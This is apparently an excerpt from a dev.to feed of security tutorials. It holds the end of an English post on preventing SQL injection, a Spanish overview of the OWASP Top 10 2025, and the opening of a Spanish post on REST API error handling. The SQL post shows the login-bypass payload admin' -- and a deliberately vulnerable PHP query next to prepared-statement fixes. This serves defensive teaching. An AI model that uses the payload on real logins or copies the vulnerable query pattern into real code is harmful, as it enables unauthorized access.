&lt;pre class="highlight sql"&gt;&lt;code&gt;   &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;usuarios&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;usuario&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'$_POST[usuario]'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;clave&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'$_POST[clave]'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Payload injection&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The attacker supplies a value that closes the original string and appends their own SQL code.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Typical input: &lt;code&gt;admin' --&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Resulting query:
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;usuarios&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;usuario&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="c1"&gt;--' AND clave = '';&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code&gt;--&lt;/code&gt; comments out the rest of the statement, causing the password condition to be ignored and the attacker to log in as &lt;em&gt;admin&lt;/em&gt;.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Execution and exploitation&lt;/strong&gt;
The database executes the altered query and returns data the attacker should not see. Depending on the payload, the attacker may also:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Union‑Based&lt;/strong&gt;: combine results from other tables (&lt;code&gt;UNION SELECT …&lt;/code&gt;).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error‑Based&lt;/strong&gt;: force errors that reveal the database schema.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blind&lt;/strong&gt;: infer data through true/false responses when direct output is hidden.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These are some of the &lt;strong&gt;injection types&lt;/strong&gt; described in specialized guides (DataCamp, Nurbak)².&lt;/p&gt;

&lt;h2&gt;
  
  
  Main Prevention Techniques
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Parameterized Queries and Prepared Statements
&lt;/h3&gt;

&lt;p&gt;The most recommended way to avoid injection is to never concatenate values directly into the query. Instead, use &lt;strong&gt;parameters&lt;/strong&gt; that the database treats as data, not code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SELECT * FROM usuarios WHERE usuario = :usuario AND clave = :clave'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'usuario'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$inputUsuario&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'clave'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$inputClave&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Parameters are substituted safely, preventing any special character from altering the SQL logic. This practice is highlighted in Victor Hugo Solís’s guide as an essential step for any project³.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Input Validation and Sanitization
&lt;/h3&gt;

&lt;p&gt;Although parameterized queries are the primary defense, validating input further strengthens security:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data type&lt;/strong&gt;: ensure a field that should be numeric receives only numbers.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Length&lt;/strong&gt;: limit the number of characters to prevent overly long payloads.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Whitelist&lt;/strong&gt;: accept only expected values (e.g., “admin”, “user”) and reject everything else.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Principle of Least Privilege
&lt;/h3&gt;

&lt;p&gt;Configure the database account used by the application with only the permissions it strictly needs. If the account only needs to read data, do not grant write or administrative privileges. This way, even if an attacker manages to inject code, the potential damage is reduced.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Careful Use of ORMs and Frameworks
&lt;/h3&gt;

&lt;p&gt;Object‑Relational Mappers (ORMs) simplify database access, but they are not an automatic shield against injection. Some implementations can generate dynamic queries that still accept values without parameterization. Nurbak’s guide notes that &lt;strong&gt;“ORM pitfalls still catch experienced teams,”&lt;/strong&gt; so it’s vital to review the documentation and ensure the ORM always uses prepared statements⁴.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Scanning and Security Testing
&lt;/h3&gt;

&lt;p&gt;Incorporate static and dynamic analysis tools that detect vulnerable queries. Conduct regular penetration tests, focusing on data entry points (forms, APIs, URL parameters). Early detection allows you to fix vulnerabilities before they are exploited⁵.&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical Example: From Vulnerable Code to Secure Code
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code (PHP):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pass'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM usuarios WHERE usuario = '&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt;' AND clave = '&lt;/span&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mysqli_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Secure code with parameters (PHP + PDO):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pass'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SELECT * FROM usuarios WHERE usuario = :user AND clave = :pass'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'pass'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetchAll&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the first case, an attacker could send &lt;code&gt;admin' --&lt;/code&gt; as the &lt;code&gt;user&lt;/code&gt; value and bypass password verification. In the second case, the value is treated as data and the query can never be altered.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion and Call to Action
&lt;/h2&gt;

&lt;p&gt;SQL injection remains a real threat because the root problem – mixing code and data – is easy to overlook in rushed projects. With a few solid practices (parameterized queries, strict validation, least‑privilege accounts, and continuous testing) you can virtually eliminate the risk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your next step:&lt;/strong&gt; review your application’s code today. Identify any query built by concatenating values and replace it with a prepared statement. If you use an ORM, verify that all read and write operations employ the secure mechanisms the framework provides. Finally, schedule an internal penetration‑testing session to confirm that the vulnerabilities have been fixed.&lt;/p&gt;

&lt;p&gt;Protect your data and your users’ data: security starts with simple yet decisive choices in every line of code. Act now and keep your application safe from SQL injection!&lt;/p&gt;




&lt;p&gt;¹ Guru99, “Tutorial de inyección SQL: aprenda con el ejemplo”.&lt;br&gt;&lt;br&gt;
² DataCamp, “Inyección SQL: Cómo funciona y cómo prevenirlo”.&lt;br&gt;&lt;br&gt;
³ Victor Hugo Solís, “Inyección SQL: Cómo Funciona y Cómo Prevenirla”.&lt;br&gt;&lt;br&gt;
⁴ Nurbak, “Inyección SQL: Ejemplos y Cómo Prevenirla”.&lt;br&gt;&lt;br&gt;
⁵ Avast, “¿Qué es la inyección de SQL? | Explicación y protección”.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources and references
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.guru99.com/es/learn-sql-injection-with-practical-example.html" rel="noopener noreferrer"&gt;Tutorial de inyección SQL: aprenda con el ejemplo - Guru99&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.datacamp.com/es/tutorial/sql-injection" rel="noopener noreferrer"&gt;Inyección SQL: Cómo funciona y cómo prevenirlo - DataCamp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://victorhugosolis.com/es/posts/inyeccion-sql-como-funciona-y-como-prevenirla/" rel="noopener noreferrer"&gt;Inyección SQL: Cómo Funciona y Cómo Prevenirla – Victor Hugo Solís&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nurbak.com/es/blog/inyeccion-sql/" rel="noopener noreferrer"&gt;Inyección SQL: Ejemplos y Cómo Prevenirla (Guía 2026) – Nurbak&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.avast.com/es-es/c-sql-injection" rel="noopener noreferrer"&gt;¿Qué es la inyección de SQL? | Explicación y protección – Avast&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>beginners</category>
      <category>database</category>
      <category>programming</category>
    </item>
    <item>
      <title>OWASP Top 10: Qué es y cómo aplicarlo día a día en tus proyectos</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 17:34:31 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/owasp-top-10-que-es-y-como-aplicarlo-dia-a-dia-en-tus-proyectos-27ah</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/owasp-top-10-que-es-y-como-aplicarlo-dia-a-dia-en-tus-proyectos-27ah</guid>
      <description>&lt;h1&gt;
  
  
  OWASP Top 10: Qué es y cómo aplicarlo día a día en tus proyectos
&lt;/h1&gt;

&lt;p&gt;El &lt;strong&gt;OWASP Top 10&lt;/strong&gt; es la referencia más utilizada por desarrolladores, equipos de seguridad y auditorías para identificar y mitigar las vulnerabilidades más críticas en aplicaciones web. Cada pocos años la comunidad de OWASP actualiza la lista; la edición 2025 incluye diez categorías que cubren desde fallos de control de acceso hasta problemas de registro y monitoreo (Cloudflare).&lt;/p&gt;

&lt;h2&gt;
  
  
  1. ¿Qué es el OWASP Top 10 y por qué es relevante?
&lt;/h2&gt;

&lt;p&gt;OWASP (Open Web Application Security Project) es una organización sin ánimo de lucro que reúne a expertos en seguridad para crear recursos abiertos y gratuitos (Cloudflare). Su lista “Top 10” es un informe periódico que destaca los riesgos de seguridad más comunes y graves para aplicaciones web (Cloudflare). La finalidad es ofrecer un lenguaje común y una hoja de ruta clara para que los equipos de desarrollo prioricen sus esfuerzos de defensa.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Visibilidad&lt;/strong&gt;: la lista es adoptada globalmente y sirve como referencia estándar en auditorías y certificaciones (Cloudflare).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Actualización constante&lt;/strong&gt;: la edición 2025 incorpora cambios respecto a la versión 2021, reflejando nuevas técnicas de ataque y tendencias del sector (Underc0de).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accesibilidad&lt;/strong&gt;: la documentación está disponible en varios idiomas y se complementa con guías de prevención y ejemplos concretos (SentinelOne).
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;En resumen, el OWASP Top 10 no es solo un catálogo de vulnerabilidades; es una herramienta práctica para elevar la calidad de código y reducir la superficie de ataque de tus aplicaciones.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Las diez categorías del Top 10 2025
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Categoría&lt;/th&gt;
&lt;th&gt;Descripción breve&lt;/th&gt;
&lt;th&gt;Ejemplo típico&lt;/th&gt;
&lt;th&gt;Medida preventiva clave&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A01 – Broken Access Control&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fallos al restringir quién puede acceder a recursos.&lt;/td&gt;
&lt;td&gt;Un usuario normal modifica la URL para acceder a datos de otro cliente.&lt;/td&gt;
&lt;td&gt;Implementar controles de autorización en el servidor y validar cada solicitud.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A02 – Cryptographic Failures&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Uso incorrecto o ausencia de criptografía.&lt;/td&gt;
&lt;td&gt;Contraseñas almacenadas en texto plano.&lt;/td&gt;
&lt;td&gt;Utilizar algoritmos de hash fuertes (p. ej. Argon2) y cifrado TLS para datos en tránsito.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A03 – Injection&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Inserción de código malicioso en consultas o comandos.&lt;/td&gt;
&lt;td&gt;SQL injection mediante parámetros no escapados.&lt;/td&gt;
&lt;td&gt;Emplear consultas parametrizadas o ORM que gestionen el escape automáticamente.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A04 – Insecure Design&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Falta de principios de seguridad en la arquitectura.&lt;/td&gt;
&lt;td&gt;Falta de defensa en profundidad en una API pública.&lt;/td&gt;
&lt;td&gt;Aplicar patrones de diseño seguro y realizar revisiones de arquitectura tempranas.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A05 – Security Misconfiguration&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Configuraciones por defecto o inseguras.&lt;/td&gt;
&lt;td&gt;Servidor con encabezados de seguridad desactivados.&lt;/td&gt;
&lt;td&gt;Automatizar la configuración segura mediante plantillas y escáneres de configuración.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A06 – Vulnerable and Outdated Components&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dependencias con vulnerabilidades conocidas.&lt;/td&gt;
&lt;td&gt;Uso de una versión antigua de jQuery con CVE crítico.&lt;/td&gt;
&lt;td&gt;Mantener un inventario de componentes y aplicar actualizaciones regulares.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A07 – Identification and Authentication Failures&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Deficiencias en la gestión de identidades.&lt;/td&gt;
&lt;td&gt;Sesiones que no expiran después de inactividad.&lt;/td&gt;
&lt;td&gt;Implementar autenticación multifactor y gestión robusta de sesiones.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A08 – Software and Data Integrity Failures&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Falta de verificación de integridad de código o datos.&lt;/td&gt;
&lt;td&gt;Descarga de paquetes sin firma digital.&lt;/td&gt;
&lt;td&gt;Firmar artefactos y validar firmas antes de la ejecución.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A09 – Security Logging and Monitoring Failures&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ausencia de registros útiles para detección de incidentes.&lt;/td&gt;
&lt;td&gt;No registrar intentos fallidos de login.&lt;/td&gt;
&lt;td&gt;Registrar eventos críticos y centralizar logs para análisis.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A10 – Server‑Side Request Forgery (SSRF)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;El servidor realiza peticiones a recursos internos no autorizados.&lt;/td&gt;
&lt;td&gt;Un endpoint que permite al atacante leer archivos internos mediante URL manipulada.&lt;/td&gt;
&lt;td&gt;Validar y limitar destinos de URLs externas y usar listas blancas.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Estas categorías cubren la mayor parte de los vectores de ataque que los pentesters y atacantes explotan habitualmente. Conocerlas permite anticiparse a los problemas antes de que se conviertan en incidentes reales.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Incorporar el Top 10 en tu rutina de desarrollo
&lt;/h2&gt;

&lt;h3&gt;
  
  
  a) Checklist de código y revisión de pull‑request
&lt;/h3&gt;

&lt;p&gt;Al crear o actualizar código, incluye una lista de verificación basada en las diez categorías. Cada pull‑request debe pasar por una revisión que confirme:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No se introducen consultas sin parametrizar (A03).
&lt;/li&gt;
&lt;li&gt;Las dependencias están actualizadas (A06).
&lt;/li&gt;
&lt;li&gt;Los encabezados de seguridad están presentes (A05).
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  b) Integración continua (CI) con escáneres de vulnerabilidades
&lt;/h3&gt;

&lt;p&gt;Configura tu pipeline de CI para ejecutar escáneres estáticos (SAST) y de composición de software (SCA). Estos detectan inyecciones potenciales, uso de bibliotecas vulnerables y configuraciones inseguras. Cuando el escáner reporte una vulnerabilidad, asigna la categoría correspondiente del Top 10 y prioriza su corrección según la gravedad.&lt;/p&gt;

&lt;h3&gt;
  
  
  c) Pruebas de penetración internas y externas
&lt;/h3&gt;

&lt;p&gt;Aunque los escáneres automatizados son útiles, las pruebas manuales siguen siendo esenciales. Usa la lista del Top 10 como guía de pruebas: intenta romper el control de acceso, generar inyecciones o forzar SSRF. Documenta los hallazgos y corrígelos antes de lanzar a producción (OWASP Developer Guide).&lt;/p&gt;

&lt;h3&gt;
  
  
  d) Capacitación continua del equipo
&lt;/h3&gt;

&lt;p&gt;Organiza sesiones breves (30‑45 min) donde se explique una categoría del Top 10 cada semana, con ejemplos reales y ejercicios de codificación segura. La repetición ayuda a internalizar buenas prácticas y a reducir errores humanos, que son la causa principal de muchas vulnerabilidades (Un Fantasma en el Sistema).&lt;/p&gt;

&lt;h3&gt;
  
  
  e) Política de gestión de incidentes basada en logs
&lt;/h3&gt;

&lt;p&gt;Asegúrate de que los eventos críticos (fallos de autenticación, cambios de privilegios, errores de servidor) se registren y se envíen a un sistema de monitoreo. Configura alertas que notifiquen al equipo de seguridad cuando se detecten patrones sospechosos, cumpliendo con la categoría A09.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Herramientas y recursos recomendados
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Dependency‑Check&lt;/strong&gt;: escáner de componentes vulnerables (A06).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP ZAP&lt;/strong&gt;: proxy para pruebas de inyección y SSRF (A03, A10).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Dependabot&lt;/strong&gt;: actualizaciones automáticas de dependencias.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Guías oficiales de OWASP&lt;/strong&gt;: la documentación en español del Developer Guide ofrece ejemplos y contramedidas detalladas (OWASP Developer Guide).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Combinar estas herramientas con procesos claros permite que la seguridad sea una parte integral del ciclo de vida del software, no una actividad aislada al final del proyecto.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusión y llamado a la acción
&lt;/h2&gt;

&lt;p&gt;El &lt;strong&gt;OWASP Top 10&lt;/strong&gt; es mucho más que una lista de vulnerabilidades; es un marco de trabajo que, si se adopta de forma sistemática, eleva la resiliencia de tus aplicaciones y reduce el riesgo de brechas costosas. Incorporar sus principios en la planificación, codificación, pruebas y monitoreo transforma la seguridad en una práctica diaria y no en una tarea puntual.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tu próximo paso:&lt;/strong&gt; revisa el último informe del Top 10 2025, crea una checklist personalizada para tu equipo y añade al menos una herramienta de escaneo automático en tu pipeline de CI esta semana. La constancia en estos pequeños cambios marcará la diferencia entre una aplicación segura y una exposición constante a ataques. ¡Empieza hoy y protege tu código desde la primera línea!&lt;/p&gt;

&lt;h2&gt;
  
  
  Fuentes y referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.cloudflare.com/es-es/learning/security/threats/owasp-top-10/" rel="noopener noreferrer"&gt;¿Qué es OWASP? ¿Qué es el OWASP Top 10? - Cloudflare&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.sentinelone.com/es/cybersecurity-101/cybersecurity/owasp-top-10/" rel="noopener noreferrer"&gt;OWASP Top 10: Vulnerabilidades, riesgos y cómo solucionarlos (SentinelOne)&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://underc0de.org/guias/hacking/owasp-top-10-2025-explicado/" rel="noopener noreferrer"&gt;OWASP Top 10 2025 explicado con ejemplos | Underc0de Guías&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://devguide.owasp.org/es/02-foundations/05-top-ten/" rel="noopener noreferrer"&gt;OWASP Top 10 - OWASP Developer Guide&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.unfantasmaenelsistema.com/2026/09/owasp-top-10-vulnerabilidades-web-explicadas/" rel="noopener noreferrer"&gt;OWASP Top 10 - Un Fantasma en el Sistema&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>beginners</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Seguridad de APIs REST: errores comunes en producción y cómo evitarlos</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 16:54:54 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/seguridad-de-apis-rest-errores-comunes-en-produccion-y-como-evitarlos-2mi0</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/seguridad-de-apis-rest-errores-comunes-en-produccion-y-como-evitarlos-2mi0</guid>
      <description>&lt;h1&gt;
  
  
  Seguridad de APIs REST: errores comunes en producción y cómo evitarlos
&lt;/h1&gt;

&lt;p&gt;En producción, una API REST mal configurada puede convertirse en la puerta de entrada para atacantes y en una fuente de frustración para los consumidores. Los fallos más habituales no son vulnerabilidades “exóticas”, sino errores de manejo de excepciones y de respuesta que revelan información sensible o generan comportamientos inesperados. En este artículo repasamos los problemas que aparecen con mayor frecuencia, explicamos por qué son peligrosos y ofrecemos pasos concretos para corregirlos antes de que lleguen a producción.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Exposición de información sensible en las respuestas de error
&lt;/h2&gt;

&lt;p&gt;Cuando una API devuelve trazas de stack, nombres de clases o mensajes internos, está entregando a cualquier cliente (incluidos los potenciales atacantes) un mapa de su arquitectura interna. Esta práctica facilita la enumeración de componentes y la identificación de vulnerabilidades específicas.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Qué ocurre:&lt;/strong&gt; Los desarrolladores suelen habilitar la salida de depuración en entornos de desarrollo y, por descuido, la trasladan a producción. El resultado son respuestas como &lt;code&gt;NullPointerException at com.myapp.service.UserService&lt;/code&gt; o JSON con campos internos que no deberían ser públicos.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Por qué es un riesgo:&lt;/strong&gt; La información revelada permite a un atacante afinar técnicas de inyección, explotación de desbordamiento o ataques de fuerza bruta contra recursos concretos.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cómo mitigarlo:&lt;/strong&gt;

&lt;ol&gt;
&lt;li&gt;Eliminar trazas y datos internos de todas las respuestas de error. En su lugar, devolver un mensaje genérico que indique que ocurrió un problema sin detallar su origen.
&lt;/li&gt;
&lt;li&gt;Adoptar el formato RFC 7807 (Problem Details), actualizado hoy por el RFC 9457, que estandariza la estructura del error y permite incluir solo la información necesaria (tipo, título, estado, detalle genérico y una URI de referencia).
&lt;/li&gt;
&lt;li&gt;Mantener la depuración activada solo en entornos controlados y asegurarse de que el código que habilita la salida de logs no se despliegue en producción.
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Fuente: &lt;em&gt;Seguridad en APIs REST – 17. Manejo de errores, mensajes seguros&lt;/em&gt; (&lt;a href="https://www.tutorialesprogramacionya.com/ciberseguridad/seguridadenapisrest/tema17.html" rel="noopener noreferrer"&gt;enlace&lt;/a&gt;) y &lt;em&gt;Manejo de Errores y Excepciones en APIs REST: Patrones Profesionales&lt;/em&gt; (&lt;a href="https://tutoriales.com/desarrollo-web/apis-rest/manejo-de-errores-y-excepciones-en-apis-rest-patrones-profesionales" rel="noopener noreferrer"&gt;enlace&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  2. Uso incorrecto de códigos HTTP y mensajes ambiguos
&lt;/h2&gt;

&lt;p&gt;Los códigos de estado HTTP son la primera capa de comunicación entre la API y el cliente. Un uso inadecuado genera confusión y, en algunos casos, puede contribuir a ataques de denegación de servicio (DoS) o a ataques de fuerza bruta.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Errores típicos:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Devolver &lt;code&gt;200 OK&lt;/code&gt; aunque la operación haya fallado, ocultando el problema al cliente.
